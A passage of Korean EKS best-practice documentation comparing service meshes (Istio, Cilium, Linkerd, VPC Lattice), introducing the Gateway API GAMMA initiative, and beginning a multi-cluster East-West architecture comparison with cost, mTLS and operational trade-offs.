| 재시도·타임아웃·서킷 브레이커 | 전체 지원 | 지원 (Envoy 경유) | 지원 (2.20: rate-limit 인지 LB) | 재시도·타임아웃 (서킷 브레이커 제한적) |
| 장애 주입 | 네이티브 | 제한적 | 제한적 | AWS FIS 연동 |
| 관측성 | Kiali·Jaeger·Prometheus | Hubble (Service Map) | Viz 대시보드 | CloudWatch·X-Ray |
| 멀티클러스터 | 지원 (복잡도 높음) | ClusterMesh | 지원 (BEL) | 네이티브 (VPC·계정 경계) |
| GAMMA 지원 | 완전 지원 | HTTPRoute → Service | HTTPRoute 기반 | Gateway API Controller |
| EKS 설치 경로 | Helm / istioctl | Helm / Cilium CLI (CNI 교체) | Helm / linkerd CLI | AWS Gateway API Controller |
| 라이선스·거버넌스 | Apache-2.0, CNCF Graduated | Apache-2.0, CNCF Graduated | Apache-2.0 (stable은 BEL 배포판) | AWS 서비스 (종량 과금) |
GAMMA(Gateway API for Mesh) 표준 관점의 상세 지원 현황은 [GAMMA Initiative](./gamma-initiative.md)를 참조합니다.
### mTLS와 Zero-Trust 구현 방식 차이
같은 "mTLS 지원"이라도 구현 계층이 다릅니다.
- **Istio·Linkerd**: 워크로드 단위 X.509 인증서(SPIFFE ID)로 서비스 신원을 표현합니다. 인증서 순환은 자동이지만 트러스트 앵커(루트 CA) 순환은 운영 과제입니다 — Linkerd 2.20은 이를 자동화했습니다.
- **Cilium**: 전송 암호화(WireGuard/IPsec)와 신원 인증을 분리합니다. 커널 레벨 암호화라 오버헤드가 가장 낮지만, TLS 세션 단위 증적이 필요한 감사 요건과는 결이 다릅니다.
- **VPC Lattice**: TLS 종단 + IAM 정책 평가로 서비스 간 인가를 AWS 네이티브 모델로 처리합니다. Kubernetes 외부 서비스(Lambda·EC2)와 동일한 인가 모델을 공유합니다.
## 성능 오버헤드와 리소스 비용
### 데이터 플레인 오버헤드
일반적인 오버헤드 순서는 다음과 같습니다 (낮은 쪽이 유리):
```
eBPF (Cilium) < 노드 프록시 (Istio Ambient L4) ≈ 경량 사이드카 (Linkerd) < Envoy 사이드카 (Istio Sidecar)
```
Istio 사이드카 모드의 정량 수치(1000 rps 기준 사이드카당 ~0.2 vCPU / ~60 MB, p99 추가 지연 ~5ms)와 측정 방법론은 [East-West 트래픽 최적화의 단계 6](../east-west-traffic-best-practice.md)에 정리되어 있습니다. Ambient 모드는 L4만 경유하는 트래픽에서 사이드카 대비 지연·리소스를 크게 줄이며, waypoint를 배치한 서비스만 L7 프록시 비용을 지불합니다.
VPC Lattice는 클러스터 내 오버헤드가 없는 대신 AWS 데이터 플레인 경유에 따른 네트워크 홉이 추가됩니다.
### 리소스와 노드 밀도 영향
- **사이드카 모드**: Pod 수 × 프록시 리소스가 노드 가용 용량을 잠식합니다. Pod 밀도가 높은 클러스터에서는 노드 증설 요인이 됩니다.
- **Ambient·Cilium**: 노드당 고정 비용(ztunnel/Envoy DaemonSet)이라 Pod 밀도와 무관하게 예측 가능합니다.
- **Linkerd**: 사이드카지만 프록시당 수십 MB 수준으로 Envoy 대비 낮습니다.
### AWS 비용 관점
| 항목 | 자체 운영 메시 (Istio·Cilium·Linkerd) | VPC Lattice |
|------|-------------------------------------|-------------|
| 과금 방식 | 프록시·컨트롤 플레인의 EC2 컴퓨트 비용 | 서비스당 시간 요금 + GB당 처리 요금 + 요청당 요금 |
| 비용 특성 | 트래픽과 무관하게 고정적 (리소스 기반) | 트래픽에 비례 (종량제) |
| 숨은 비용 | 운영 인력·업그레이드·장애 대응 | 대용량 트래픽에서 처리 요금 급증 가능 |
서비스 수가 적고 트래픽이 많은 워크로드는 자체 운영이, 서비스·계정이 많고 트래픽이 분산된 환경은 Lattice가 비용 효율적인 경향이 있습니다. 크로스-AZ 데이터 요금과의 상호작용은 [East-West 트래픽 최적화](../east-west-traffic-best-practice.md)를 참조합니다.
## 운영 복잡도와 EKS 통합
### 설치·업그레이드 경로
| 솔루션 | 설치 | 업그레이드 특성 |
|--------|------|----------------|
| Istio | Helm 또는 istioctl | 컨트롤 플레인 canary 업그레이드(revision) 권장, Ambient는 ztunnel/waypoint 순차 갱신 |
| Cilium | Helm / Cilium CLI — **CNI 교체 수반** | CNI 업그레이드와 동일한 신중함 필요, 신규 클러스터 도입 권장 |
| Linkerd | Helm / linkerd CLI | 트러스트 앵커 순환이 주요 이벤트 (2.20에서 자동화) |
| VPC Lattice | Gateway API Controller (Helm) | AWS가 데이터 플레인 관리, 컨트롤러만 갱신 |
### 컨트롤 플레인 운영 부담
- **Istio**: Istiod 운영, CRD(VirtualService·DestinationRule 등) 학습 곡선, 버전별 동작 변화 추적이 필요합니다. 4개 중 운영 부담이 가장 크지만 상용 지원 선택지(Solo.io, Tetrate 등)도 가장 많습니다.
- **Cilium**: CNI와 메시가 단일 컴포넌트라 별도 메시 컨트롤 플레인이 없습니다. 대신 Cilium 자체가 클러스터 네트워킹의 단일 장애점이므로 CNI 운영 역량이 전제됩니다.
- **Linkerd**: 컨트롤 플레인이 단순하고 CRD 표면적이 작아 학습 곡선이 가장 완만합니다.
- **VPC Lattice**: 컨트롤 플레인 운영이 없습니다. 대신 AWS 서비스 한도(quota)·기능 릴리스 속도에 종속됩니다.
### Kubernetes Native Sidecar와 수명주기
Kubernetes 1.29+의 Native Sidecar(initContainer `restartPolicy: Always`)는 사이드카 기반 메시의 고질적 문제 — 앱보다 프록시가 늦게 시작하거나 먼저 종료되어 트래픽이 유실되는 문제 — 를 구조적으로 해결합니다. Linkerd 2.20은 이를 기본값으로 채택했고, Istio 사이드카 모드도 지원합니다. Job 워크로드의 사이드카 종료 처리 등 상세 패턴은 [EKS Pod 헬스체크 & 라이프사이클 관리](../../operations-reliability/eks-pod-health-lifecycle.md)를 참조합니다.
### 복원력 패턴과의 결합
서킷 브레이커·재시도·이상값 감지(outlier detection) 등 메시 기반 복원력 패턴의 실전 구성은 [EKS 고가용성 아키텍처 가이드](../../operations-reliability/eks-resiliency-guide.md)에 Istio 기준으로 정리되어 있습니다. 동일 패턴을 다른 메시로 구현할 때는 위 기능 비교 매트릭스의 지원 범위를 먼저 확인합니다.
## 선택 가이드
### 의사결정 트리
```mermaid
flowchart TD
start["서비스 메시 필요성 확인됨
(mTLS·L7 제어·관측성)"] --> q1{"App Mesh
사용 중?"}
q1 -->|예| appmesh["2026-09-30 EOL —
아래 기준으로 이전 대상 선정"]
q1 -->|아니오| q2
appmesh --> q2{"멀티 계정·멀티 VPC
연결이 핵심 요구?"}
q2 -->|예| lattice["VPC Lattice"]
q2 -->|아니오| q3{"CNI가 이미 Cilium
(또는 도입 계획)?"}
q3 -->|예| cilium["Cilium Service Mesh"]
q3 -->|아니오| q4{"고급 L7 기능·생태계
(장애 주입, 세밀한 정책) 필요?"}
q4 -->|예| istio["Istio Ambient"]
q4 -->|아니오| q5{"운영 인력 최소화·
빠른 도입 우선?"}
q5 -->|예| linkerd["Linkerd
(BEL 라이선스 검토)"]
q5 -->|아니오| istio
style lattice fill:#fff3e0,stroke:#e65100
style cilium fill:#e8f5e9,stroke:#2e7d32
style istio fill:#e3f2fd,stroke:#1565c0
style linkerd fill:#f3e5f5,stroke:#6a1b9a
```
### 시나리오별 권장 조합
| 시나리오 | 권장 | 근거 |
|----------|------|------|
| 소규모 팀, 서비스 10~30개, 자동 mTLS가 주 목적 | Linkerd | 최소 설정·최저 학습 곡선. 50인 미만 기업은 BEL 프로덕션 무료 |
| Zero-Trust 규제 환경 (ISMS-P·금융) | Istio Ambient | 워크로드 단위 SPIFFE 신원, 정책 표현력, 감사 증적 생태계 |
| Cilium CNI 기존 사용자 | Cilium Service Mesh | 추가 컴포넌트 없이 메시 기능 확보, 최저 오버헤드 |
| 멀티 계정·수십 개 VPC의 대규모 조직 | VPC Lattice | 계정 경계 네이티브, IAM 통합, 운영 부담 없음 |
| App Mesh 이탈 (Envoy L7 기능 유지) | Istio | Envoy 기반 기능 호환성 최대 |
| App Mesh 이탈 (관리형 유지) | VPC Lattice | AWS 공식 마이그레이션 경로 |
### 멀티클러스터 요구 시
| 옵션 | 특성 |
|------|------|
| Cilium ClusterMesh | 최저 지연, Pod-to-Pod 직통, 전 클러스터 Cilium 필수 |
| Istio 멀티클러스터 | 메시 전 기능이 클러스터 경계를 넘음, 운영 복잡도 최고 |
| VPC Lattice | 클러스터·VPC·계정 경계 모두 관리형으로 해결 |
세 옵션의 기능/안정성/운영편의성/비용 4축 상세 비교와 Istio 마이그레이션 경로는 [멀티클러스터 East-West 통신](./multi-cluster-communication.md)에서 다룹니다. 지연·비용 정량 비교와 Route53 기반 대안은 [East-West 트래픽 최적화의 멀티 클러스터 연결 전략](../east-west-traffic-best-practice.md)에 정리되어 있습니다.
## 결론
EKS에서 서비스 메시 선택은 "가장 좋은 메시"가 아니라 조직의 CNI 전략·운영 역량·계정 토폴로지에 따라 결정됩니다. 데이터 플레인은 사이드카에서 노드 프록시(Ambient)·커널(eBPF)·관리형(Lattice)으로 분화했고, 신규 도입이라면 사이드카 모드를 기본값으로 선택할 이유는 더 이상 없습니다. App Mesh 사용 조직은 2026년 9월 30일 지원 종료 전까지 이전을 완료해야 합니다. 4개 솔루션의 정량 성능 벤치마크는 향후 별도 벤치마크 문서로 추가할 예정입니다.
## 참고 자료
### 공식 문서
- [Istio Ambient Mode](https://istio.io/latest/docs/ambient/overview/) — ztunnel·waypoint 아키텍처 공식 문서
- [Cilium Service Mesh](https://docs.cilium.io/en/stable/network/servicemesh/) — eBPF 기반 메시 기능 공식 문서
- [Linkerd Documentation](https://linkerd.io/2/overview/) — Linkerd 아키텍처·기능 공식 문서
- [Amazon VPC Lattice](https://docs.aws.amazon.com/vpc-lattice/latest/ug/what-is-vpc-lattice.html) — VPC Lattice 사용자 가이드
- [AWS App Mesh End of Support](https://aws.amazon.com/blogs/containers/migrating-from-aws-app-mesh-to-amazon-ecs-service-connect/) — App Mesh 지원 종료 안내 및 마이그레이션 가이드
### 관련 문서 (내부)
- [멀티클러스터 East-West 통신](./multi-cluster-communication.md) — 클러스터 경계를 넘는 East-West 아키텍처 4축 비교, Istio 마이그레이션 경로
- [GAMMA Initiative](./gamma-initiative.md) — Gateway API 기반 메시 표준화, 구현체별 GAMMA 지원 현황
- [Gateway API 도입 가이드](../gateway-api-adoption-guide/index.md) — North-South 트래픽 관리, 6개 구현체 비교
- [East-West 트래픽 최적화](../east-west-traffic-best-practice.md) — 도입 후 지연·크로스-AZ 비용 최적화, Istio 오버헤드 정량 수치
- [Cilium ENI 모드 + Gateway API 심화 구성](../gateway-api-adoption-guide/cilium-eni-gateway-api.md) — EKS에서 Cilium CNI 구성 절차
- [EKS 고가용성 아키텍처 가이드](../../operations-reliability/eks-resiliency-guide.md) — 메시 기반 서킷 브레이커·재시도 실전 구성
- [EKS Pod 헬스체크 & 라이프사이클 관리](../../operations-reliability/eks-pod-health-lifecycle.md) — Native Sidecar와 프록시 수명주기 패턴
---
# GAMMA Initiative — 서비스 메시 통합의 미래
> GAMMA (Gateway API for Mesh Management and Administration) 소개, East-West 트래픽 관리, 서비스 메시 통합
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/networking-performance/service-mesh/gamma-initiative
Category: EKS Best Practices
Last updated: 2026-07-15
Author: YoungJoon Jeong
Tags: gateway-api, gamma, service-mesh, east-west
import {
GammaInfographic,
GammaSupportTable,
} from '@site/src/components/GatewayApiTables';
## GAMMA란?
**GAMMA (Gateway API for Mesh Management and Administration)**는 [Gateway API](../gateway-api-adoption-guide/index.md)를 서비스 메시 영역으로 확장한 이니셔티브입니다.
- **GA 달성**: Gateway API v1.1.0 (2025년 10월)
- **통합 범위**: North-South (인그레스) + East-West (서비스 메시) 트래픽
- **핵심 개념**: 기존에는 인그레스 컨트롤러와 서비스 메시가 완전히 별개의 설정 체계였으나, GAMMA는 이를 단일 API로 통합
- **역할 기반 구성**: Gateway API의 역할 분리 원칙을 메시 트래픽에도 동일하게 적용
GAMMA의 등장으로 클러스터 운영자는 더 이상 두 가지 서로 다른 API를 학습하고 관리할 필요가 없습니다. 인그레스와 메시 모두 동일한 Gateway API 리소스로 관리할 수 있게 되었습니다.
```mermaid
flowchart LR
subgraph before["기존 방식"]
direction TB
ingress["Ingress Controller
(North-South만)"]
mesh["Service Mesh
(East-West만)"]
ingress ~~~ mesh
end
subgraph after["GAMMA 방식"]
direction TB
gw["Gateway API
(통합 API)"]
gw --> ns["North-South
(parentRef: Gateway)"]
gw --> ew["East-West
(parentRef: Service)"]
end
before -->|"GAMMA
Initiative"| after
style before fill:#ffebee,stroke:#c62828
style after fill:#e8f5e9,stroke:#2e7d32
style gw fill:#1565c0,color:#fff
```
## 핵심 목표 & 메시 구성 패턴
## GAMMA 지원 현황
다음은 주요 서비스 메시 구현체의 GAMMA 지원 현황입니다. 구현체별 아키텍처·기능·운영 비교는 [서비스 메시 비교 가이드](./index.md)를 참조합니다.
:::tip AWS 환경에서의 GAMMA
AWS 환경에서는 **VPC Lattice + ACK**로 사이드카 없이 GAMMA 패턴을 구현할 수 있습니다. IAM 기반 mTLS, CloudWatch/X-Ray 관측성, AWS FIS를 통한 장애 주입까지 완전한 서비스 메시 기능을 관리형으로 제공합니다.
:::
## GAMMA의 장점
### 1. 학습 곡선 단축
팀은 하나의 API(Gateway API)만 학습하면 인그레스와 메시 모두 관리할 수 있습니다.
### 2. 설정 일관성
동일한 YAML 구조와 패턴으로 North-South/East-West 트래픽을 모두 관리합니다.
```yaml
# 인그레스 (North-South)
spec:
parentRefs:
- kind: Gateway
name: external-gateway
# 메시 (East-West)
spec:
parentRefs:
- kind: Service
name: backend-service
```
### 3. 역할 기반 분리
인프라 팀은 Gateway를, 개발 팀은 HTTPRoute를 관리하는 명확한 책임 분리가 메시 트래픽에도 동일하게 적용됩니다.
### 4. 벤더 중립성
여러 메시 구현체를 동일한 API로 관리할 수 있어 벤더 종속을 방지합니다.
## 참고 자료
### 공식 문서
- [GAMMA Initiative](https://gateway-api.sigs.k8s.io/mesh/gamma/) — Gateway API 공식 GAMMA 사양·목표·구성 패턴
- [Gateway API for Service Mesh](https://gateway-api.sigs.k8s.io/mesh/) — 메시 트래픽에 Gateway API를 적용하는 공식 가이드
### 관련 문서 (내부)
- [서비스 메시 비교 가이드](./index.md) — Istio·Cilium·Linkerd·VPC Lattice 아키텍처·기능·운영 비교
- [Gateway API 도입 가이드](../gateway-api-adoption-guide/index.md) — North-South 트래픽 관리, 구현체 비교, 마이그레이션 전략
- [East-West 트래픽 최적화](../east-west-traffic-best-practice.md) — 도입 후 지연·크로스-AZ 비용 최적화 전략
---
# EKS 멀티클러스터 East-West 통신 — Istio는 여전히 유효한가
> EKS 멀티클러스터 환경의 East-West(서비스 간) 통신을 위해 Istio 멀티클러스터, Cilium ClusterMesh, Amazon VPC Lattice 아키텍처를 기능·안정성·운영편의성·비용 4개 축으로 비교하고, 각 아키텍처가 적합한 환경과 Istio 마이그레이션 경로를 제시합니다
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/networking-performance/service-mesh/multi-cluster-communication
Category: EKS Best Practices
Last updated: 2026-07-16
Author: YoungJoon Jeong
Tags: service-mesh, multi-cluster, istio, cilium, vpc-lattice, east-west, eks, networking
## 1. 문서 목적과 결론 (Executive Summary)
이 문서는 EKS **멀티클러스터**를 운영하는 관점에서, East-West(서비스 간) 트래픽의 효과적인 운영을 위해 Istio가 여전히 유효한 선택인지 검증합니다. 주요 대안 — Amazon VPC Lattice + AWS Gateway API Controller, Cilium ClusterMesh, Istio multi-primary(+상용 관리 플레인) — 를 사용한 아키텍처의 특장점을 **기능 / 안정성 / 운영편의성 / 비용** 4개 축으로 비교하고, 각 아키텍처가 적합한 환경을 제시합니다. 본문에 인용한 모든 외부 근거는 **2026-07-16 기준** 원문 문서로 확인했으며, 확인하지 못한 항목은 "확인 필요"로 명시합니다.
**결론 요약:**
1. 클러스터 간 통신이 **HTTP/gRPC 중심이라면 VPC Lattice + AWS Gateway API Controller가 운영 부담 대비 가장 유리**합니다. 클러스터·VPC·계정 경계를 L3 연결(VPC peering, Transit Gateway) 없이 넘고, 컨트롤 플레인과 데이터 플레인을 AWS가 관리합니다.
2. **Istio multi-primary는 여전히 유효하지만 조건부**입니다. 멀티클라우드·하이브리드를 포함한 full mesh, 전 구간 SPIFFE 기반 mTLS, 세밀한 L7 정책이 1순위 요구라면 Istio가 유일하게 모든 요건을 충족합니다. 대신 클러스터 수에 비례해 커지는 운영 복잡도를 감수해야 합니다.
3. 메시 운영 부담을 낮추는 레버는 두 가지뿐입니다 — **(a) 운영 주체를 바꾸거나**(관리형·상용 지원), **(b) 아키텍처를 단순화하거나**(사이드카 제거, 메시 자체 제거). 상용 관리 플레인(예: Tetrate)은 (a)에 해당하지만 컨트롤 플레인(istiod)은 여전히 고객 클러스터 안에 남습니다. **컨트롤 플레인 자체를 고객 클러스터에서 제거하는 선택지는 AWS 관리형(VPC Lattice)뿐**입니다.
4. AWS App Mesh는 **2026년 9월 30일 지원 종료**로 신규 도입 대상이 아니며, 이 문서에서는 마이그레이션 출발점으로만 다룹니다.
단일 클러스터 안에서의 메시 솔루션 선택은 [서비스 메시 비교 가이드](./index.md)를, 도입 후 지연·비용 최적화는 [East-West 트래픽 최적화](../east-west-traffic-best-practice.md)를 참조합니다.
## 2. 요건 정의와 가정
### 스코프
이 문서는 **클러스터 경계를 넘는 East-West(서비스 간) 통신**만 다룹니다. North-South(외부→클러스터 인그레스) 트래픽을 담당하는 API Gateway·인그레스 컨트롤러(예: ALB + AWS Load Balancer Controller, Kong, NGINX 계열, kgateway)는 East-West 통신의 **대체재가 아니라 보완재**입니다. 인그레스를 통해 클러스터 간 호출을 우회시키는 설계는 외부 노출 면적 증가, 홉 추가, 내부 신원 소실이라는 비용을 수반하므로 이 문서의 후보에서 제외합니다. North-South 선택은 [Gateway API 도입 가이드](../gateway-api-adoption-guide/index.md)를 참조합니다.
### 아키텍처 선택을 좌우하는 5가지 질문
멀티클러스터 East-West 아키텍처는 아래 5가지 요건에 대한 답으로 대부분 결정됩니다. 상세 질문 목록은 [부록 A](#부록-a-요건-확인-질문-목록)에 정리했습니다.
| # | 판별 질문 | 갈림길 |
|---|-----------|--------|
| 1 | **프로토콜** — 클러스터 간 트래픽이 HTTP/gRPC인가, 순수 TCP/UDP(DB 프로토콜, 메시지 브로커, 커스텀 바이너리)인가? | 순수 TCP/UDP 비중이 크면 L7 중심인 Lattice는 재검토 대상. Lattice는 HTTP/HTTPS·gRPC·TCP(TLS passthrough)를 지원하지만 TCP 경로에 제약이 있음([6장](#6-트레이드오프와-주의사항) 참조). UDP는 미지원 |
| 2 | **경계** — 클러스터들이 단일 VPC인가, 멀티 VPC·멀티 계정인가? CIDR 중복이 있는가? | 멀티 계정·CIDR 중복 환경이면 L3 연결이 필요 없는 Lattice가 구조적으로 유리. 메시 계열은 L3 도달성(peering/TGW)과 비중복 CIDR이 전제 |
| 3 | **신원·암호화 컴플라이언스** — "전 구간 워크로드 단위 mTLS(SPIFFE)"가 감사 요건인가, "전송 암호화 + 요청 단위 인가"로 충족되는가? | 전자라면 Istio가 정공법. Lattice는 TLS + IAM(SigV4) 모델, Cilium은 전송 암호화(WireGuard/IPsec)와 인증을 분리한 모델 |
| 4 | **관측성** — Kiali 수준의 메시 토폴로지 시각화가 필수인가, 메트릭·로그·트레이스로 충분한가? | 전자라면 Istio 생태계 유지. Lattice는 CloudWatch/X-Ray, Cilium은 Hubble로 대체 |
| 5 | **규모와 변화율** — 클러스터 수, 서비스 수, Pod churn(배포 빈도·오토스케일 진폭)이 어느 수준인가? | 클러스터 수가 늘수록 메시 계열은 컨트롤 플레인 간 동기화 부담이 비례 증가. 관리형은 quota 관리 문제로 치환됨 |
### 기본 가정
- 대상은 EKS(EC2 노드 기반)이며, 이미 Istio(사이드카 모드) 멀티클러스터를 운영 중이거나 도입을 검토하는 조직입니다.
- "운영 부담 축소"와 "통신 요건 유지"가 동시 목표이며, 서비스 메시 유지 자체는 목표가 아닙니다.
- 리전은 단일 리전을 기본으로 하되, 크로스 리전 고려사항은 해당 절에서 별도 표기합니다.
## 3. Istio 기능 → 대안 매핑
현재 Istio 멀티클러스터에서 사용 중인 기능이 각 대안에서 무엇으로 치환되는지 정리합니다.
| Istio 기능 | VPC Lattice + Gateway API Controller | Cilium ClusterMesh | Istio multi-primary (유지) | 참고: Linkerd / Consul |
|------------|--------------------------------------|--------------------|---------------------------|------------------------|
| **클러스터 간 서비스 디스커버리** (remote secrets 기반 엔드포인트 동기화) | `ServiceExport`/`ServiceImport` CRD + Lattice 서비스 네트워크. DNS는 Lattice가 관리형으로 제공 | 동일 이름 Service에 `service.cilium.io/global: "true"` 어노테이션 → 클러스터 간 로드밸런싱 | istiod가 remote secret으로 상대 클러스터 API 서버를 watch | Linkerd: service mirroring(원격 서비스 복제). Consul: cluster peering + `exported-services` |
| **mTLS / 워크로드 신원** (SPIFFE X.509, 공통 root CA) | TLS(ACM 인증서) + **IAM 인증**(SigV4 서명) + EKS Pod Identity 세션 태그 기반 ABAC(클러스터·네임스페이스·Pod 단위) | 전송 암호화는 WireGuard/IPsec. SPIFFE 상호 인증은 Beta이며 **ClusterMesh와 호환되지 않음**(2026-07-16 기준 upstream 문서 명시) | 공통 root CA(cacerts) 기반 전 구간 SPIFFE mTLS | Linkerd: 통합 trust domain mTLS. Consul: mesh gateway 간 mTLS |
| **트래픽 관리** (카나리, 가중치 라우팅, 재시도) | `HTTPRoute` 가중치 규칙(Lattice 리스너 규칙으로 구현). 재시도·타임아웃 지원, 서킷 브레이커는 제한적 | L7 기능은 노드당 Envoy 경유(CiliumEnvoyConfig). 클러스터 간 가중치 라우팅 표현력은 Istio 대비 제한적 | VirtualService/DestinationRule 또는 Gateway API — 표현력 최고 | Linkerd: HTTPRoute 기반. Consul: service resolver/splitter |
| **커스텀 도메인** | Lattice 커스텀 도메인 + ACM 인증서(BYOC) | Kubernetes DNS 체계(`..svc.cluster.local`) 그대로, 커스텀 도메인은 별도 구성 | ServiceEntry + 자체 DNS | 각자 별도 구성 |
| **관측성** (Kiali, 분산 트레이싱) | CloudWatch 메트릭·액세스 로그, X-Ray. **메시 토폴로지 그래프(Kiali급)는 없음** | Hubble(Service Map, flow 로그) | Kiali·Jaeger·Prometheus 생태계 그대로 | Linkerd Viz / Consul UI |
| **컨트롤 플레인 운영 주체** | **AWS** (클러스터에는 경량 컨트롤러만 상주) | 고객 (cilium-agent, cilium-operator, clustermesh-apiserver) | 고객 (클러스터별 istiod). Tetrate 등 상용은 운영 "지원" 주체가 바뀔 뿐 istiod는 클러스터 내 잔존 | 고객 (또는 Buoyant/HashiCorp 상용 지원) |
| **L3 연결 전제** (peering/TGW) | **불필요** — CIDR 중복도 허용 | **필요** — 노드 간 직접 IP 도달성 + 비중복 PodCIDR | 멀티 네트워크 모드는 east-west gateway(NLB) 경유로 L3 직결 불필요, 단일 네트워크 모드는 필요 | Linkerd flat 모드는 필요, gateway 모드는 불필요. Consul은 mesh gateway 경유 |
매핑에서 드러나는 핵심 차이는 두 가지입니다. 첫째, **신원 모델**이 다릅니다 — Istio의 "인증서 기반 워크로드 신원"을 Lattice는 "IAM 기반 요청 인가"로, Cilium은 "네트워크 계층 암호화 + 별도 인증"으로 치환합니다. 컴플라이언스 문구가 어느 모델을 요구하는지가 선택을 좌우합니다. 둘째, **컨트롤 플레인 위치**가 다릅니다 — 운영 부담의 총량은 컨트롤 플레인이 누구의 것인지에 수렴합니다.
## 4. 후보 아키텍처 상세 비교
각 후보를 동작 방식 → 4축 평가(기능/안정성/운영편의성/비용) → 적합한 환경 순으로 정리합니다.
### 4.1 VPC Lattice + AWS Gateway API Controller — 관리형 · 사이드카리스
**동작 방식.** VPC Lattice는 AWS 네트워크 패브릭에 내장된 관리형 애플리케이션 네트워킹 서비스입니다. EKS에서는 [AWS Gateway API Controller](https://www.gateway-api-controller.eks.aws.dev/)(2026-07-16 기준 v2.1.2)가 Kubernetes Gateway API 리소스를 Lattice 리소스로 변환합니다 — `Gateway` → 서비스 네트워크, `HTTPRoute`/`GRPCRoute`/`TLSRoute` → Lattice 서비스, Kubernetes `Service` → 타깃 그룹. 클러스터 간 공유는 `ServiceExport`(제공 측)/`ServiceImport`(소비 측) CRD로 선언합니다.
```
Cluster A (VPC-A, 계정 1) Cluster B (VPC-B, 계정 2)
┌──────────────────────────┐ ┌──────────────────────────┐
│ Pod A ──► link-local │ │ Target Group ◄──┐ │
│ 169.254.171.x │ │ (Pod B들) │ │
└────────────┼─────────────┘ └──────────────────────┼───┘
│ │
▼ │
═══════════ VPC Lattice 서비스 네트워크 (AWS 관리형 데이터 플레인) ══╪════
· L3 연결(peering/TGW) 불필요, CIDR 중복 허용 │
· IAM auth policy 평가(SigV4) + TLS ──────────────────────────┘
· Gateway API Controller가 K8s 리소스 ↔ Lattice 리소스 동기화
```
Pod는 link-local 대역(`169.254.171.0/24`)의 Lattice 데이터 플레인으로 트래픽을 보내며, 클러스터 보안 그룹에 Lattice 관리형 prefix list 인바운드 허용만 추가하면 됩니다. 두 VPC가 **동일한 CIDR을 사용해도 통신이 성립**하며, 이는 AWS 공식 블로그의 데모로 검증된 동작입니다([참고 자료](#8-참고-자료) 2번, 확인 2026-07-16).
인증·인가는 IAM auth policy로 처리합니다. EKS Pod Identity가 발급하는 세션 태그(`eks-cluster-name`, `kubernetes-namespace`, `kubernetes-pod-name`)를 조건으로 사용하면 **클러스터·네임스페이스·Pod 단위 ABAC 인가**가 가능합니다. IAM 인증을 켜면 요청은 SigV4 서명이 필요하며, SDK 서명 또는 서명 프록시(예: Envoy 사이드카를 서명 전용으로 주입) 중 하나를 선택합니다.
**4축 평가.**
| 축 | 평가 | 근거 (확인 2026-07-16) |
|----|------|------------------------|
| 기능 | HTTP/HTTPS·gRPC 라우팅, 가중치 트래픽 분할, 커스텀 도메인, IAM 기반 세밀 인가. TCP는 TLS passthrough로 지원하되 제약 있음(6장). UDP 미지원. Kiali급 메시 관측성 없음 | Lattice FAQ·TLS 리스너 문서 |
| 안정성 | 데이터 플레인이 AWS 인프라 내장 — 고객이 패치·장애 대응할 컴포넌트가 컨트롤러뿐. AZ당 서비스별 10 Gbps·10,000 RPS 기본 한도(상향 가능), 연결 수명 10분 상한 | Lattice quotas 문서 |
| 운영편의성 | **4개 후보 중 유일하게 컨트롤 플레인이 클러스터 밖**. 사이드카 없음, 인증서 수명주기 관리 없음(ACM 위임), 업그레이드 대상은 경량 컨트롤러 1개. 대신 AWS quota·기능 릴리스 속도에 종속 | Gateway API Controller 배포 가이드 |
| 비용 | 종량제: 서비스당 $0.025/시간 + 처리량 $0.025/GB + 요청 요금(시간당 30만 건 초과분 $0.10/100만 건, us-east-1 기준). 크로스 AZ 추가 요금 없음. **트래픽이 클수록 비용이 비례 증가** — 대용량 환경은 사전 시뮬레이션 필수. 리전별 단가 상이(확인 필요) | Lattice 요금 페이지 |
**적합한 환경.** 클러스터 간 트래픽이 HTTP/gRPC 중심이고, 멀티 VPC·멀티 계정 경계를 넘어야 하며, 메시 컨트롤 플레인 운영 인력을 확보하기 어려운 조직. App Mesh 이탈 조직 중 관리형 모델을 유지하려는 경우의 AWS 공식 경로이기도 합니다.
### 4.2 Cilium ClusterMesh — eBPF · 사이드카리스 · 자체 운영
**동작 방식.** Cilium(2026-07-16 기준 안정 버전 1.19)의 ClusterMesh는 CNI 계층에서 멀티클러스터를 해결합니다. 클러스터마다 `clustermesh-apiserver`(내장 etcd 포함)가 상태를 노출하고, 각 클러스터의 cilium-agent가 이를 구독해(v1.16부터 KVStoreMesh 캐시 경유가 기본) 원격 엔드포인트를 로컬 eBPF 맵에 반영합니다. 동일한 이름의 Service에 `service.cilium.io/global: "true"`를 붙이면 클러스터 간 로드밸런싱이 활성화됩니다.
```
Cluster A (PodCIDR 10.1.0.0/16) Cluster B (PodCIDR 10.2.0.0/16)
┌──────────────────────────────┐ ┌──────────────────────────────┐
│ Pod A ─► eBPF (커널) │ │ eBPF ─► Pod B │
│ ▲ clustermesh-apiserver ◄─┼── 상태 ────┼─► clustermesh-apiserver ▲ │
│ └── cilium-agent (구독/캐시) │ 동기화 │ cilium-agent ──────────┘ │
└───────────────┼──────────────┘ └────────────────┼─────────────┘
└────────── Pod-to-Pod 직통 (VPC peering/TGW) ┘
전제: 비중복 PodCIDR + 노드 간 직접 IP 도달성 + 동일 datapath 모드
```
프록시 홉 없이 **Pod-to-Pod 직통**이므로 데이터 플레인 오버헤드와 지연이 후보 중 가장 낮습니다. 다만 전제 조건이 엄격합니다 — 전 클러스터 비중복 PodCIDR, 노드 간 직접 IP 도달성(VPC peering 또는 TGW), 전 클러스터 동일 datapath 모드, 클러스터 ID(1–255)·이름 사전 설계(사후 변경 시 전체 워크로드 재시작 필요). 모두 upstream 공식 문서 기준입니다(확인 2026-07-16).
**4축 평가.**
| 축 | 평가 | 근거 (확인 2026-07-16) |
|----|------|------------------------|
| 기능 | L3/L4 완전 지원(TCP/UDP 포함 — 프로토콜 제약 없음), global service 기반 디스커버리·failover. L7은 노드당 Envoy 경유로 지원하나 클러스터 간 L7 표현력은 Istio 대비 제한적. **SPIFFE 상호 인증은 Beta이며 ClusterMesh와 호환 불가** — 전 구간 워크로드 신원 요건에는 부적합 | Cilium ClusterMesh·mutual auth 문서 |
| 안정성 | 데이터 플레인은 커널 eBPF로 성숙. 단 CNI 자체가 메시를 겸하므로 **Cilium 장애 = 클러스터 네트워킹 장애**로 반경이 가장 큼. `cacheTTL` 기본값 0(원격 클러스터 단절 시 stale 엔드포인트 무기한 유지)은 운영 시 조정 필요 | Cilium global services 문서 |
